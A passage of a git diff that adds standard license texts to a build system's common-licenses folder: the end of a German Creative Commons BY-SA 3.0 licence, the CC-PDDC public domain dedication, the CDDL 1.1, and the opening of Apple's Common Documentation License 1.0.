+Das vorgenannte Nutzungsrecht wird für alle bekannten sowie für alle noch nicht bekannten Nutzungsarten eingeräumt. Es beinhaltet auch das Recht, solche Änderungen am Schutzgegenstand vorzunehmen, die für bestimmte nach dieser Lizenz zulässige Nutzungen technisch erforderlich sind. Alle sonstigen Rechte, die über diesen Abschnitt hinaus nicht ausdrücklich durch den Lizenzgeber eingeräumt werden, bleiben diesem allein vorbehalten. Soweit Datenbanken oder Zusammenstellungen von Daten Schutzgegenstand dieser Lizenz oder Teil dessen sind und einen immaterialgüterrechtlichen Schutz eigener Art genießen, verzichtet der Lizenzgeber auf sämtliche aus diesem Schutz resultierenden Rechte.
+
+4. Bedingungen. Die Einräumung des Nutzungsrechts gemäß Abschnitt 3 dieser Lizenz erfolgt ausdrücklich nur unter den folgenden Bedingungen:
+
+ a. Sie dürfen den Schutzgegenstand ausschließlich unter den Bedingungen dieser Lizenz verbreiten oder öffentlich zeigen. Sie müssen dabei stets eine Kopie dieser Lizenz oder deren vollständige Internetadresse in Form des Uniform-Resource-Identifier (URI) beifügen. Sie dürfen keine Vertrags- oder Nutzungsbedingungen anbieten oder fordern, die die Bedingungen dieser Lizenz oder die durch diese Lizenz gewährten Rechte beschränken. Sie dürfen den Schutzgegenstand nicht unterlizenzieren. Bei jeder Kopie des Schutzgegenstandes, die Sie verbreiten oder öffentlich zeigen, müssen Sie alle Hinweise unverändert lassen, die auf diese Lizenz und den Haftungsausschluss hinweisen. Wenn Sie den Schutzgegenstand verbreiten oder öffentlich zeigen, dürfen Sie (in Bezug auf den Schutzgegenstand) keine technischen Maßnahmen ergreifen, die den Nutzer des Schutzgegenstandes in der Ausübung der ihm durch diese Lizenz gewährten Rechte behindern können. Dieser Abschnitt 4.a) gilt auch für den Fall, dass der Schutzgegenstand einen Bestandteil eines Sammelwerkes bildet, was jedoch nicht bedeutet, dass das Sammelwerk insgesamt dieser Lizenz unterstellt werden muss. Sofern Sie ein Sammelwerk erstellen, müssen Sie auf die Mitteilung eines Lizenzgebers hin aus dem Sammelwerk die in Abschnitt 4.c) aufgezählten Hinweise entfernen. Wenn Sie eine Abwandlung vornehmen, müssen Sie auf die Mitteilung eines Lizenzgebers hin von der Abwandlung die in Abschnitt 4.c) aufgezählten Hinweise entfernen.
+
+ b. Sie dürfen eine Abwandlung ausschließlich unter den Bedingungen
+
+ i. dieser Lizenz,
+
+ ii. einer späteren Version dieser Lizenz mit denselben Lizenzelementen,
+
+ iii. einer rechtsordnungsspezifischen Creative-Commons-Lizenz mit denselben Lizenzelementen ab Version 3.0 aufwärts (z.B. Namensnennung - Weitergabe unter gleichen Bedingungen 3.0 US),
+
+ iv. der Creative-Commons-Unported-Lizenz mit denselben Lizenzelementen ab Version 3.0 aufwärts, oder
+
+ v. einer mit Creative Commons kompatiblen Lizenz
+
+ verbreiten oder öffentlich zeigen.
+
+ Falls Sie die Abwandlung gemäß Abschnitt (v) unter einer mit Creative Commons kompatiblen Lizenz lizenzieren, müssen Sie deren Lizenzbestimmungen Folge leisten.
+
+ Falls Sie die Abwandlungen unter einer der unter (i)-(iv) genannten Lizenzen ("Verwendbare Lizenzen") lizenzieren, müssen Sie deren Lizenzbestimmungen sowie folgenden Bestimmungen Folge leisten: Sie müssen stets eine Kopie der verwendbaren Lizenz oder deren vollständige Internetadresse in Form des Uniform-Resource-Identifier (URI) beifügen, wenn Sie die Abwandlung verbreiten oder öffentlich zeigen. Sie dürfen keine Vertrags- oder Nutzungsbedingungen anbieten oder fordern, die die Bedingungen der verwendbaren Lizenz oder die durch sie gewährten Rechte beschränken. Bei jeder Abwandlung, die Sie verbreiten oder öffentlich zeigen, müssen Sie alle Hinweise auf die verwendbare Lizenz und den Haftungsausschluss unverändert lassen. Wenn Sie die Abwandlung verbreiten oder öffentlich zeigen, dürfen Sie (in Bezug auf die Abwandlung) keine technischen Maßnahmen ergreifen, die den Nutzer der Abwandlung in der Ausübung der ihm durch die verwendbare Lizenz gewährten Rechte behindern können. Dieser Abschnitt 4.b) gilt auch für den Fall, dass die Abwandlung einen Bestandteil eines Sammelwerkes bildet, was jedoch nicht bedeutet, dass das Sammelwerk insgesamt der verwendbaren Lizenz unterstellt werden muss.
+
+ c. Die Verbreitung und das öffentliche Zeigen des Schutzgegenstandes oder auf ihm aufbauender Abwandlungen oder ihn enthaltender Sammelwerke ist Ihnen nur unter der Bedingung gestattet, dass Sie, vorbehaltlich etwaiger Mitteilungen im Sinne von Abschnitt 4.a), alle dazu gehörenden Rechtevermerke unberührt lassen. Sie sind verpflichtet, die Rechteinhaberschaft in einer der Nutzung entsprechenden, angemessenen Form anzuerkennen, indem Sie - soweit bekannt - Folgendes angeben:
+
+ i. Den Namen (oder das Pseudonym, falls ein solches verwendet wird) des Rechteinhabers und / oder, falls der Lizenzgeber im Rechtevermerk, in den Nutzungsbedingungen oder auf andere angemessene Weise eine Zuschreibung an Dritte vorgenommen hat (z.B. an eine Stiftung, ein Verlagshaus oder eine Zeitung) ("Zuschreibungsempfänger"), Namen bzw. Bezeichnung dieses oder dieser Dritten;
+
+ ii. den Titel des Inhaltes;
+
+ iii. in einer praktikablen Form den Uniform-Resource-Identifier (URI, z.B. Internetadresse), den der Lizenzgeber zum Schutzgegenstand angegeben hat, es sei denn, dieser URI verweist nicht auf den Rechtevermerk oder die Lizenzinformationen zum Schutzgegenstand;
+
+ iv. und im Falle einer Abwandlung des Schutzgegenstandes in Übereinstimmung mit Abschnitt 3.b) einen Hinweis darauf, dass es sich um eine Abwandlung handelt.
+
+ Die nach diesem Abschnitt 4.c) erforderlichen Angaben können in jeder angemessenen Form gemacht werden; im Falle einer Abwandlung des Schutzgegenstandes oder eines Sammelwerkes müssen diese Angaben das Minimum darstellen und bei gemeinsamer Nennung mehrerer Rechteinhaber dergestalt erfolgen, dass sie zumindest ebenso hervorgehoben sind wie die Hinweise auf die übrigen Rechteinhaber. Die Angaben nach diesem Abschnitt dürfen Sie ausschließlich zur Angabe der Rechteinhaberschaft in der oben bezeichneten Weise verwenden. Durch die Ausübung Ihrer Rechte aus dieser Lizenz dürfen Sie ohne eine vorherige, separat und schriftlich vorliegende Zustimmung des Lizenzgebers und / oder des Zuschreibungsempfängers weder explizit noch implizit irgendeine Verbindung zum Lizenzgeber oder Zuschreibungsempfänger und ebenso wenig eine Unterstützung oder Billigung durch ihn andeuten.
+
+ d. Die oben unter 4.a) bis c) genannten Einschränkungen gelten nicht für solche Teile des Schutzgegenstandes, die allein deshalb unter den Schutzgegenstandsbegriff fallen, weil sie als Datenbanken oder Zusammenstellungen von Daten einen immaterialgüterrechtlichen Schutz eigener Art genießen.
+
+ e. Persönlichkeitsrechte bleiben - soweit sie bestehen - von dieser Lizenz unberührt.
+
+5. Gewährleistung
+
+SOFERN KEINE ANDERS LAUTENDE, SCHRIFTLICHE VEREINBARUNG ZWISCHEN DEM LIZENZGEBER UND IHNEN GESCHLOSSEN WURDE UND SOWEIT MÄNGEL NICHT ARGLISTIG VERSCHWIEGEN WURDEN, BIETET DER LIZENZGEBER DEN SCHUTZGEGENSTAND UND DIE EINRÄUMUNG VON RECHTEN UNTER AUSSCHLUSS JEGLICHER GEWÄHRLEISTUNG AN UND ÜBERNIMMT WEDER AUSDRÜCKLICH NOCH KONKLUDENT GARANTIEN IRGENDEINER ART. DIES UMFASST INSBESONDERE DAS FREISEIN VON SACH- UND RECHTSMÄNGELN, UNABHÄNGIG VON DEREN ERKENNBARKEIT FÜR DEN LIZENZGEBER, DIE VERKEHRSFÄHIGKEIT DES SCHUTZGEGENSTANDES, SEINE VERWENDBARKEIT FÜR EINEN BESTIMMTEN ZWECK SOWIE DIE KORREKTHEIT VON BESCHREIBUNGEN. DIESE GEWÄHRLEISTUNGSBESCHRÄNKUNG GILT NICHT, SOWEIT MÄNGEL ZU SCHÄDEN DER IN ABSCHNITT 6 BEZEICHNETEN ART FÜHREN UND AUF SEITEN DES LIZENZGEBERS DAS JEWEILS GENANNTE VERSCHULDEN BZW. VERTRETENMÜSSEN EBENFALLS VORLIEGT.
+
+6. Haftungsbeschränkung
+
+DER LIZENZGEBER HAFTET IHNEN GEGENÜBER IN BEZUG AUF SCHÄDEN AUS DER VERLETZUNG DES LEBENS, DES KÖRPERS ODER DER GESUNDHEIT NUR, SOFERN IHM WENIGSTENS FAHRLÄSSIGKEIT VORZUWERFEN IST, FÜR SONSTIGE SCHÄDEN NUR BEI GROBER FAHRLÄSSIGKEIT ODER VORSATZ, UND ÜBERNIMMT DARÜBER HINAUS KEINERLEI FREIWILLIGE HAFTUNG.
+
+7. Erlöschen
+
+ a. Diese Lizenz und die durch sie eingeräumten Nutzungsrechte erlöschen mit Wirkung für die Zukunft im Falle eines Verstoßes gegen die Lizenzbedingungen durch Sie, ohne dass es dazu der Kenntnis des Lizenzgebers vom Verstoß oder einer weiteren Handlung einer der Vertragsparteien bedarf. Mit natürlichen oder juristischen Personen, die Abwandlungen des Schutzgegenstandes oder diesen enthaltende Sammelwerke unter den Bedingungen dieser Lizenz von Ihnen erhalten haben, bestehen nachträglich entstandene Lizenzbeziehungen jedoch solange weiter, wie die genannten Personen sich ihrerseits an sämtliche Lizenzbedingungen halten. Darüber hinaus gelten die Ziffern 1, 2, 5, 6, 7, und 8 auch nach einem Erlöschen dieser Lizenz fort.
+
+ b. Vorbehaltlich der oben genannten Bedingungen gilt diese Lizenz unbefristet bis der rechtliche Schutz für den Schutzgegenstand ausläuft. Davon abgesehen behält der Lizenzgeber das Recht, den Schutzgegenstand unter anderen Lizenzbedingungen anzubieten oder die eigene Weitergabe des Schutzgegenstandes jederzeit einzustellen, solange die Ausübung dieses Rechts nicht einer Kündigung oder einem Widerruf dieser Lizenz (oder irgendeiner Weiterlizenzierung, die auf Grundlage dieser Lizenz bereits erfolgt ist bzw. zukünftig noch erfolgen muss) dient und diese Lizenz unter Berücksichtigung der oben zum Erlöschen genannten Bedingungen vollumfänglich wirksam bleibt.
+
+8. Sonstige Bestimmungen
+
+ a. Jedes Mal wenn Sie den Schutzgegenstand für sich genommen oder als Teil eines Sammelwerkes verbreiten oder öffentlich zeigen, bietet der Lizenzgeber dem Empfänger eine Lizenz zu den gleichen Bedingungen und im gleichen Umfang an, wie Ihnen in Form dieser Lizenz.
+
+ b. Jedes Mal wenn Sie eine Abwandlung des Schutzgegenstandes verbreiten oder öffentlich zeigen, bietet der Lizenzgeber dem Empfänger eine Lizenz am ursprünglichen Schutzgegenstand zu den gleichen Bedingungen und im gleichen Umfang an, wie Ihnen in Form dieser Lizenz.
+
+ c. Sollte eine Bestimmung dieser Lizenz unwirksam sein, so bleibt davon die Wirksamkeit der Lizenz im Übrigen unberührt.
+
+ d. Keine Bestimmung dieser Lizenz soll als abbedungen und kein Verstoß gegen sie als zulässig gelten, solange die von dem Verzicht oder von dem Verstoß betroffene Seite nicht schriftlich zugestimmt hat.
+
+ e. Diese Lizenz (zusammen mit in ihr ausdrücklich vorgesehenen Erlaubnissen, Mitteilungen und Zustimmungen, soweit diese tatsächlich vorliegen) stellt die vollständige Vereinbarung zwischen dem Lizenzgeber und Ihnen in Bezug auf den Schutzgegenstand dar. Es bestehen keine Abreden, Vereinbarungen oder Erklärungen in Bezug auf den Schutzgegenstand, die in dieser Lizenz nicht genannt sind. Rechtsgeschäftliche Änderungen des Verhältnisses zwischen dem Lizenzgeber und Ihnen sind nur über Modifikationen dieser Lizenz möglich. Der Lizenzgeber ist an etwaige zusätzliche, einseitig durch Sie übermittelte Bestimmungen nicht gebunden. Diese Lizenz kann nur durch schriftliche Vereinbarung zwischen Ihnen und dem Lizenzgeber modifiziert werden. Derlei Modifikationen wirken ausschließlich zwischen dem Lizenzgeber und Ihnen und wirken sich nicht auf die Dritten gemäß Ziffern 8.a) und b) angeboteten Lizenzen aus.
+
+ f. Sofern zwischen Ihnen und dem Lizenzgeber keine anderweitige Vereinbarung getroffen wurde und soweit Wahlfreiheit besteht, findet auf diesen Lizenzvertrag das Recht der Bundesrepublik Deutschland Anwendung.
+
+Creative Commons Notice
+
+Creative Commons ist nicht Partei dieser Lizenz und übernimmt keinerlei Gewähr oder dergleichen in Bezug auf den Schutzgegenstand. Creative Commons haftet Ihnen oder einer anderen Partei unter keinem rechtlichen Gesichtspunkt für irgendwelche Schäden, die - abstrakt oder konkret, zufällig oder vorhersehbar - im Zusammenhang mit dieser Lizenz entstehen. Unbeschadet der vorangegangen beiden Sätze, hat Creative Commons alle Rechte und Pflichten eines Lizenzgebers, wenn es sich ausdrücklich als Lizenzgeber im Sinne dieser Lizenz bezeichnet.
+
+Creative Commons gewährt den Parteien nur insoweit das Recht, das Logo und die Marke "Creative Commons" zu nutzen, als dies notwendig ist, um der Öffentlichkeit gegenüber kenntlich zu machen, dass der Schutzgegenstand unter einer CCPL steht. Ein darüber hinaus gehender Gebrauch der Marke "Creative Commons" oder einer verwandten Marke oder eines verwandten Logos bedarf der vorherigen schriftlichen Zustimmung von Creative Commons. Jeder erlaubte Gebrauch richtet sich nach der Creative Commons Marken-Nutzungs-Richtlinie in der jeweils aktuellen Fassung, die von Zeit zu Zeit auf der Website veröffentlicht oder auf andere Weise auf Anfrage zugänglich gemacht wird. Zur Klarstellung: Die genannten Einschränkungen der Markennutzung sind nicht Bestandteil dieser Lizenz.
+
+Creative Commons kann kontaktiert werden über https://creativecommons.org/.
+
diff --git a/meta/files/common-licenses/CC-PDDC b/meta/files/common-licenses/CC-PDDC
new file mode 100644
index 0000000000..b64dfd6b70
--- /dev/null
+++ b/meta/files/common-licenses/CC-PDDC
@@ -0,0 +1,8 @@
+
+The person or persons who have associated work with this document (the "Dedicator" or "Certifier") hereby either (a) certifies that, to the best of his knowledge, the work of authorship identified is in the public domain of the country from which the work is published, or (b) hereby dedicates whatever copyright the dedicators holds in the work of authorship identified below (the "Work") to the public domain. A certifier, moreover, dedicates any copyright interest he may have in the associated work, and for these purposes, is described as a "dedicator" below.
+
+A certifier has taken reasonable steps to verify the copyright status of this work. Certifier recognizes that his good faith efforts may not shield him from liability if in fact the work certified is not in the public domain.
+
+Dedicator makes this dedication for the benefit of the public at large and to the detriment of the Dedicator's heirs and successors. Dedicator intends this dedication to be an overt act of relinquishment in perpetuity of all present and future rights under copyright law, whether vested or contingent, in the Work. Dedicator understands that such relinquishment of all rights includes the relinquishment of all rights to enforce (by lawsuit or otherwise) those copyrights in the Work.
+
+Dedicator recognizes that, once placed in the public domain, the Work may be freely reproduced, distributed, transmitted, used, modified, built upon, or otherwise exploited by anyone for any purpose, commercial or non-commercial, and in any way, including by methods that have not yet been invented or conceived.
diff --git a/meta/files/common-licenses/CDDL-1.1 b/meta/files/common-licenses/CDDL-1.1
new file mode 100644
index 0000000000..f5479ec406
--- /dev/null
+++ b/meta/files/common-licenses/CDDL-1.1
@@ -0,0 +1,123 @@
+COMMON DEVELOPMENT AND DISTRIBUTION LICENSE (CDDL)
+Version 1.1
+
+1. Definitions.
+
+1.1. “Contributor” means each individual or entity that creates or contributes to the creation of Modifications.
+
+1.2. “Contributor Version” means the combination of the Original Software, prior Modifications used by a Contributor (if any), and the Modifications made by that particular Contributor.
+
+1.3. “Covered Software” means (a) the Original Software, or (b) Modifications, or (c) the combination of files containing Original Software with files containing Modifications, in each case including portions thereof.
+
+1.4. “Executable” means the Covered Software in any form other than Source Code.
+
+1.5. “Initial Developer” means the individual or entity that first makes Original Software available under this License.
+
+1.6. “Larger Work” means a work which combines Covered Software or portions thereof with code not governed by the terms of this License.
+
+1.7. “License” means this document.
+
+1.8. “Licensable” means having the right to grant, to the maximum extent possible, whether at the time of the initial grant or subsequently acquired, any and all of the rights conveyed herein.
+
+1.9. “Modifications” means the Source Code and Executable form of any of the following:
+
+ A. Any file that results from an addition to, deletion from or modification of the contents of a file containing Original Software or previous Modifications;
+
+ B. Any new file that contains any part of the Original Software or previous Modification; or
+
+ C. Any new file that is contributed or otherwise made available under the terms of this License.
+
+1.10. “Original Software” means the Source Code and Executable form of computer software code that is originally released under this License.
+
+1.11. “Patent Claims” means any patent claim(s), now owned or hereafter acquired, including without limitation, method, process, and apparatus claims, in any patent Licensable by grantor.
+
+1.12. “Source Code” means (a) the common form of computer software code in which modifications are made and (b) associated documentation included in or with such code.
+
+1.13. “You” (or “Your”) means an individual or a legal entity exercising rights under, and complying with all of the terms of, this License. For legal entities, “You” includes any entity which controls, is controlled by, or is under common control with You. For purposes of this definition, “control” means (a) the power, direct or indirect, to cause the direction or management of such entity, whether by contract or otherwise, or (b) ownership of more than fifty percent (50%) of the outstanding shares or beneficial ownership of such entity.
+
+2. License Grants.
+
+2.1. The Initial Developer Grant.
+Conditioned upon Your compliance with Section 3.1 below and subject to third party intellectual property claims, the Initial Developer hereby grants You a world-wide, royalty-free, non-exclusive license:
+
+ (a) under intellectual property rights (other than patent or trademark) Licensable by Initial Developer, to use, reproduce, modify, display, perform, sublicense and distribute the Original Software (or portions thereof), with or without Modifications, and/or as part of a Larger Work; and
+
+ (b) under Patent Claims infringed by the making, using or selling of Original Software, to make, have made, use, practice, sell, and offer for sale, and/or otherwise dispose of the Original Software (or portions thereof).
+
+ (c) The licenses granted in Sections 2.1(a) and (b) are effective on the date Initial Developer first distributes or otherwise makes the Original Software available to a third party under the terms of this License.
+
+ (d) Notwithstanding Section 2.1(b) above, no patent license is granted: (1) for code that You delete from the Original Software, or (2) for infringements caused by: (i) the modification of the Original Software, or (ii) the combination of the Original Software with other software or devices.
+
+2.2. Contributor Grant.
+Conditioned upon Your compliance with Section 3.1 below and subject to third party intellectual property claims, each Contributor hereby grants You a world-wide, royalty-free, non-exclusive license:
+
+ (a) under intellectual property rights (other than patent or trademark) Licensable by Contributor to use, reproduce, modify, display, perform, sublicense and distribute the Modifications created by such Contributor (or portions thereof), either on an unmodified basis, with other Modifications, as Covered Software and/or as part of a Larger Work; and
+
+ (b) under Patent Claims infringed by the making, using, or selling of Modifications made by that Contributor either alone and/or in combination with its Contributor Version (or portions of such combination), to make, use, sell, offer for sale, have made, and/or otherwise dispose of: (1) Modifications made by that Contributor (or portions thereof); and (2) the combination of Modifications made by that Contributor with its Contributor Version (or portions of such combination).
+
+ (c) The licenses granted in Sections 2.2(a) and 2.2(b) are effective on the date Contributor first distributes or otherwise makes the Modifications available to a third party.
+
+ (d) Notwithstanding Section 2.2(b) above, no patent license is granted: (1) for any code that Contributor has deleted from the Contributor Version; (2) for infringements caused by: (i) third party modifications of Contributor Version, or (ii) the combination of Modifications made by that Contributor with other software (except as part of the Contributor Version) or other devices; or (3) under Patent Claims infringed by Covered Software in the absence of Modifications made by that Contributor.
+
+3. Distribution Obligations.
+
+3.1. Availability of Source Code.
+Any Covered Software that You distribute or otherwise make available in Executable form must also be made available in Source Code form and that Source Code form must be distributed only under the terms of this License. You must include a copy of this License with every copy of the Source Code form of the Covered Software You distribute or otherwise make available. You must inform recipients of any such Covered Software in Executable form as to how they can obtain such Covered Software in Source Code form in a reasonable manner on or through a medium customarily used for software exchange.
+
+3.2. Modifications.
+The Modifications that You create or to which You contribute are governed by the terms of this License. You represent that You believe Your Modifications are Your original creation(s) and/or You have sufficient rights to grant the rights conveyed by this License.
+
+3.3. Required Notices.
+You must include a notice in each of Your Modifications that identifies You as the Contributor of the Modification. You may not remove or alter any copyright, patent or trademark notices contained within the Covered Software, or any notices of licensing or any descriptive text giving attribution to any Contributor or the Initial Developer.
+
+3.4. Application of Additional Terms.
+You may not offer or impose any terms on any Covered Software in Source Code form that alters or restricts the applicable version of this License or the recipients' rights hereunder. You may choose to offer, and to charge a fee for, warranty, support, indemnity or liability obligations to one or more recipients of Covered Software. However, you may do so only on Your own behalf, and not on behalf of the Initial Developer or any Contributor. You must make it absolutely clear that any such warranty, support, indemnity or liability obligation is offered by You alone, and You hereby agree to indemnify the Initial Developer and every Contributor for any liability incurred by the Initial Developer or such Contributor as a result of warranty, support, indemnity or liability terms You offer.
+
+3.5. Distribution of Executable Versions.
+You may distribute the Executable form of the Covered Software under the terms of this License or under the terms of a license of Your choice, which may contain terms different from this License, provided that You are in compliance with the terms of this License and that the license for the Executable form does not attempt to limit or alter the recipient's rights in the Source Code form from the rights set forth in this License. If You distribute the Covered Software in Executable form under a different license, You must make it absolutely clear that any terms which differ from this License are offered by You alone, not by the Initial Developer or Contributor. You hereby agree to indemnify the Initial Developer and every Contributor for any liability incurred by the Initial Developer or such Contributor as a result of any such terms You offer.
+
+3.6. Larger Works.
+You may create a Larger Work by combining Covered Software with other code not governed by the terms of this License and distribute the Larger Work as a single product. In such a case, You must make sure the requirements of this License are fulfilled for the Covered Software.
+
+4. Versions of the License.
+
+4.1. New Versions.
+Oracle is the initial license steward and may publish revised and/or new versions of this License from time to time. Each version will be given a distinguishing version number. Except as provided in Section 4.3, no one other than the license steward has the right to modify this License.
+
+4.2. Effect of New Versions.
+You may always continue to use, distribute or otherwise make the Covered Software available under the terms of the version of the License under which You originally received the Covered Software. If the Initial Developer includes a notice in the Original Software prohibiting it from being distributed or otherwise made available under any subsequent version of the License, You must distribute and make the Covered Software available under the terms of the version of the License under which You originally received the Covered Software. Otherwise, You may also choose to use, distribute or otherwise make the Covered Software available under the terms of any subsequent version of the License published by the license steward.
+
+4.3. Modified Versions.
+When You are an Initial Developer and You want to create a new license for Your Original Software, You may create and use a modified version of this License if You: (a) rename the license and remove any references to the name of the license steward (except to note that the license differs from this License); and (b) otherwise make it clear that the license contains terms which differ from this License.
+
+5. DISCLAIMER OF WARRANTY.
+COVERED SOFTWARE IS PROVIDED UNDER THIS LICENSE ON AN “AS IS” BASIS, WITHOUT WARRANTY OF ANY KIND, EITHER EXPRESSED OR IMPLIED, INCLUDING, WITHOUT LIMITATION, WARRANTIES THAT THE COVERED SOFTWARE IS FREE OF DEFECTS, MERCHANTABLE, FIT FOR A PARTICULAR PURPOSE OR NON-INFRINGING. THE ENTIRE RISK AS TO THE QUALITY AND PERFORMANCE OF THE COVERED SOFTWARE IS WITH YOU. SHOULD ANY COVERED SOFTWARE PROVE DEFECTIVE IN ANY RESPECT, YOU (NOT THE INITIAL DEVELOPER OR ANY OTHER CONTRIBUTOR) ASSUME THE COST OF ANY NECESSARY SERVICING, REPAIR OR CORRECTION. THIS DISCLAIMER OF WARRANTY CONSTITUTES AN ESSENTIAL PART OF THIS LICENSE. NO USE OF ANY COVERED SOFTWARE IS AUTHORIZED HEREUNDER EXCEPT UNDER THIS DISCLAIMER.
+
+6. TERMINATION.
+
+6.1. This License and the rights granted hereunder will terminate automatically if You fail to comply with terms herein and fail to cure such breach within 30 days of becoming aware of the breach. Provisions which, by their nature, must remain in effect beyond the termination of this License shall survive.
+
+6.2. If You assert a patent infringement claim (excluding declaratory judgment actions) against Initial Developer or a Contributor (the Initial Developer or Contributor against whom You assert such claim is referred to as “Participant”) alleging that the Participant Software (meaning the Contributor Version where the Participant is a Contributor or the Original Software where the Participant is the Initial Developer) directly or indirectly infringes any patent, then any and all rights granted directly or indirectly to You by such Participant, the Initial Developer (if the Initial Developer is not the Participant) and all Contributors under Sections 2.1 and/or 2.2 of this License shall, upon 60 days notice from Participant terminate prospectively and automatically at the expiration of such 60 day notice period, unless if within such 60 day period You withdraw Your claim with respect to the Participant Software against such Participant either unilaterally or pursuant to a written agreement with Participant.
+
+6.3. If You assert a patent infringement claim against Participant alleging that the Participant Software directly or indirectly infringes any patent where such claim is resolved (such as by license or settlement) prior to the initiation of patent infringement litigation, then the reasonable value of the licenses granted by such Participant under Sections 2.1 or 2.2 shall be taken into account in determining the amount or value of any payment or license.
+
+6.4. In the event of termination under Sections 6.1 or 6.2 above, all end user licenses that have been validly granted by You or any distributor hereunder prior to termination (excluding licenses granted to You by any distributor) shall survive termination.
+
+7. LIMITATION OF LIABILITY.
+
+UNDER NO CIRCUMSTANCES AND UNDER NO LEGAL THEORY, WHETHER TORT (INCLUDING NEGLIGENCE), CONTRACT, OR OTHERWISE, SHALL YOU, THE INITIAL DEVELOPER, ANY OTHER CONTRIBUTOR, OR ANY DISTRIBUTOR OF COVERED SOFTWARE, OR ANY SUPPLIER OF ANY OF SUCH PARTIES, BE LIABLE TO ANY PERSON FOR ANY INDIRECT, SPECIAL, INCIDENTAL, OR CONSEQUENTIAL DAMAGES OF ANY CHARACTER INCLUDING, WITHOUT LIMITATION, DAMAGES FOR LOSS OF GOODWILL, WORK STOPPAGE, COMPUTER FAILURE OR MALFUNCTION, OR ANY AND ALL OTHER COMMERCIAL DAMAGES OR LOSSES, EVEN IF SUCH PARTY SHALL HAVE BEEN INFORMED OF THE POSSIBILITY OF SUCH DAMAGES. THIS LIMITATION OF LIABILITY SHALL NOT APPLY TO LIABILITY FOR DEATH OR PERSONAL INJURY RESULTING FROM SUCH PARTY'S NEGLIGENCE TO THE EXTENT APPLICABLE LAW PROHIBITS SUCH LIMITATION. SOME JURISDICTIONS DO NOT ALLOW THE EXCLUSION OR LIMITATION OF INCIDENTAL OR CONSEQUENTIAL DAMAGES, SO THIS EXCLUSION AND LIMITATION MAY NOT APPLY TO YOU.
+
+8. U.S. GOVERNMENT END USERS.
+
+The Covered Software is a “commercial item,” as that term is defined in 48 C.F.R. 2.101 (Oct. 1995), consisting of “commercial computer software” (as that term is defined at 48 C.F.R. § 252.227-7014(a)(1)) and “commercial computer software documentation” as such terms are used in 48 C.F.R. 12.212 (Sept. 1995). Consistent with 48 C.F.R. 12.212 and 48 C.F.R. 227.7202-1 through 227.7202-4 (June 1995), all U.S. Government End Users acquire Covered Software with only those rights set forth herein. This U.S. Government Rights clause is in lieu of, and supersedes, any other FAR, DFAR, or other clause or provision that addresses Government rights in computer software under this License.
+
+9. MISCELLANEOUS.
+
+This License represents the complete agreement concerning subject matter hereof. If any provision of this License is held to be unenforceable, such provision shall be reformed only to the extent necessary to make it enforceable. This License shall be governed by the law of the jurisdiction specified in a notice contained within the Original Software (except to the extent applicable law, if any, provides otherwise), excluding such jurisdiction's conflict-of-law provisions. Any litigation relating to this License shall be subject to the jurisdiction of the courts located in the jurisdiction and venue specified in a notice contained within the Original Software, with the losing party responsible for costs, including, without limitation, court costs and reasonable attorneys' fees and expenses. The application of the United Nations Convention on Contracts for the International Sale of Goods is expressly excluded. Any law or regulation which provides that the language of a contract shall be construed against the drafter shall not apply to this License. You agree that You alone are responsible for compliance with the United States export administration regulations (and the export control laws and regulation of any other countries) when You use, distribute or otherwise make available any Covered Software.
+
+10. RESPONSIBILITY FOR CLAIMS.
+
+As between Initial Developer and the Contributors, each party is responsible for claims and damages arising, directly or indirectly, out of its utilization of rights under this License and You agree to work with Initial Developer and Contributors to distribute such responsibility on an equitable basis. Nothing herein is intended or shall be deemed to constitute any admission of liability.
+
+NOTICE PURSUANT TO SECTION 9 OF THE COMMON DEVELOPMENT AND DISTRIBUTION LICENSE (CDDL)
+The code released under the CDDL shall be governed by the laws of the State of California (excluding conflict-of-law provisions). Any litigation relating to this License shall be subject to the jurisdiction of the Federal Courts of the Northern District of California and the state courts of the State of California, with venue lying in Santa Clara County, California.
diff --git a/meta/files/common-licenses/CDL-1.0 b/meta/files/common-licenses/CDL-1.0
new file mode 100644
index 0000000000..e2990cde2d
--- /dev/null
+++ b/meta/files/common-licenses/CDL-1.0
@@ -0,0 +1,53 @@
+Common Documentation License
+
+Version 1.0 - February 16, 2001
+
+Copyright © 2001 Apple Computer, Inc.
+
+Permission is granted to copy and distribute verbatim copies of this License, but changing or adding to it in any way is not permitted.
+
+Please read this License carefully before downloading or using this material. By downloading or using this material, you are agreeing to be bound by the terms of this License. If you do not or cannot agree to the terms of this License, please do not download or use this material.
+
+0. Preamble. The Common Documentation License (CDL) provides a very simple and consistent license that allows relatively unrestricted use and redistribution of documents while still maintaining the author's credit and intent. To preserve simplicity, the License does not specify in detail how (e.g. font size) or where (e.g. title page, etc.) the author should be credited. To preserve consistency, changes to the CDL are not allowed and all derivatives of CDL documents are required to remain under the CDL. Together, these constraints enable third parties to easily and safely reuse CDL documents, making the CDL ideal for authors who desire a wide distribution of their work. However, this means the CDL does not allow authors to restrict precisely how their work is used or represented, making it inappropriate for those desiring more finely-grained control.
+
+1. General; Definitions. This License applies to any documentation, manual or other work that contains a notice placed by the Copyright Holder stating that it is subject to the terms of this Common Documentation License version 1.0 (or subsequent version thereof) ("License"). As used in this License:
+
+1.1 "Copyright Holder" means the original author(s) of the Document or other owner(s) of the copyright in the Document.
+
+1.2 "Document(s)" means any documentation, manual or other work that has been identified as being subject to the terms of this License.
+
+1.3 "Derivative Work" means a work which is based upon a pre-existing Document, such as a revision, modification, translation, abridgment, condensation, expansion, or any other form in which such pre-existing Document may be recast, transformed, or adapted.
+
+1.4 "You" or "Your" means an individual or a legal entity exercising rights under this License.
+
+2. Basic License. Subject to all the terms and conditions of this License, You may use, copy, modify, publicly display, distribute and publish the Document and your Derivative Works thereof, in any medium physical or electronic, commercially or non-commercially; provided that: (a) all copyright notices in the Document are preserved; (b) a copy of this License, or an incorporation of it by reference in proper form as indicated in Exhibit A below, is included in a conspicuous location in all copies such that it would be reasonably viewed by the recipient of the Document; and (c) You add no other terms or conditions to those of this License.
+
+3. Derivative Works. All Derivative Works are subject to the terms of this License. You may copy and distribute a Derivative Work of the Document under the conditions of Section 2 above, provided that You release the Derivative Work under the exact, verbatim terms of this License (i.e., the Derivative Work is licensed as a "Document" under the terms of this License). In addition, Derivative Works of Documents must meet the following requirements:
+
+ (a) All copyright and license notices in the original Document must be preserved.
+
+ (b) An appropriate copyright notice for your Derivative Work must be added adjacent to the other copyright notices.
+
+ (c) A statement briefly summarizing how your Derivative Work is different from the original Document must be included in the same place as your copyright notice.
+
+ (d) If it is not reasonably evident to a recipient of your Derivative Work that the Derivative Work is subject to the terms of this License, a statement indicating such fact must be included in the same place as your copyright notice.
+
